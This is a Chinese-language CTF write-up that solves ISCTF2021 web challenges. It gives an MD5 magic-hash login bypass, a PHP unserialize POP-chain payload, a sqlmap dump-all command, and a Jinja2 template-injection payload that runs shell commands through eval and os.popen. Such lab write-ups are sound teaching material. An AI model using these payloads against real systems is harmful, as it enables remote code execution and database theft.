ISCTF2021

Web签到

题目提示需要查看源码直接抓包查看即可

或者修改url为view-source:http://challenge.imxbt.cn:31843/

view-source:的意思是查看源代码

即可查看源码Ctrl+U也可以,题目只是限制了F12

粗心的小蓝鲨

登录界面随便输入就会得到hint

复制代码
<?php
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $name=$_POST["username"]; 
        $pwd=$_POST["password"];
        $logined = true;
        $flag = 'XXXX';
        include("flag.php");
//检查是否通过 POST 方法提交了 username 和 password
        if (!ctype_alpha($name)) {$logined = false;}
//username 必须全部由 纯字母(A-Z, a-z)组成。如果包含数字、空格或特殊字符,登录失败
        if (!is_numeric($pwd) ) {$logined = false;}
//password 必须是一个 数字 或 数字字符串
        if (md5($name) != md5($pwd)) {$logined = false;}
//弱比较账号和密码的MD5值
        if ($logined){
            echo "<h1>"."login successful"."<p>".$flag;
        }else{
            echo "<h1>"."Login failed"."<p>"."The blue shark mocked you and threw a hint at you"."<p>";
            highlight_file(__FILE__);
        }
    }
?>

我们可以找两个个MD5值都是0e开头的字符串和数字字符串

复制代码
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854

即可获取flag

pop_unserialize

复制代码
<?php
//flag.php
//MF师傅告诉我file_get_contents这个函数能输出flag.php里面的内容
error_reporting(0);
class MF_is_cat{
    private $pop = "f00001111";
    public $MF = "miao~ miao~ miao~";
    function __construct(){
        $this->pop =new ISCTF();
    }

    function __destruct(){
        $this->pop->action();
    }
}

class ISCTF{
    function action(){
        echo "Welcome to ISCTF World!";
    }
}

class Show{
    var $test2;
    function action(){
       echo file_get_contents('f'.$this->test2.'g.php');
    }
}


if(isset($_POST['ISCTF'])){
    unserialize($_POST['ISCTF']);
    }else{
    $obj = new MF_is_cat();
    highlight_file(__FILE__);
    }
?>  Welcome to ISCTF World!

<?php
class MF_is_cat{
private $pop = "f00001111";
public $MF = "miao~ miao~ miao~";
function __construct(){
$this->pop =new Show();
}
}
class Show{
public $test2="la";
function action(){
}
}
echo urlencode(serialize(new MF_is_cat()));
?>
//控制 MF_is_cat 类的 $pop 属性,使其成为一个 Show 类的对象
控制 Show 类的 $test2 属性,将其赋值为字符串 "la"
反序列化结束后,PHP 销毁 MF_is_cat 对象,触发 __destruct()
进而调用 Show->action(),执行 file_get_contents('flag.php')

easysql

存在报错注入

直接

复制代码
D:\web\sqlmap-master\sqlmap-master>python sqlmap.py -u "http://challenge.imxbt.cn:31390/login.php?username=admin&password=123" --dump-all

就可以了,就是有点慢

小蜘蛛

提示存在robots.txt

easy flask

看到提示直接查看全局

复制代码
/?id={% for c in ().__class__.__mro__[1].__su
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__=={}.__class__ %}
{% if 'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("grep ISCTF *").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

当然也可以直接找

拼图

拼好就给flag

相关推荐
海天鹰7 分钟前
安卓分割空字符串数组长度为1
android
Coffeeee36 分钟前
从 Android 15 到 Android 17,谷歌猝不及防的音频改动
android·前端·google
用户69371750013841 小时前
AI 领域的 Harness,到底是什么意思?
android·前端·后端
恋猫de小郭2 小时前
Flutter 开发怎么做 Agent ?从工程实战详细给你解读下
android·前端·flutter
安卓修改大师2 小时前
安卓修改大师实战:Activity生命周期全解析与Smali插桩教程
android
zhangphil2 小时前
Android集成封装libjpeg-turbo解码库,Kotlin语言实现
android
码上有光2 小时前
c++:map和set的底层实现
android·java·c++·set·map
峥嵘life2 小时前
Android GMS 开机向导横竖屏切换配置总结
android·学习
apihz2 小时前
PING 接口 PLUS 全球版 —— 免费全球多节点 Ping 检测 API教程
android
阿pin2 小时前
Android随笔-epoll机制
android·epoll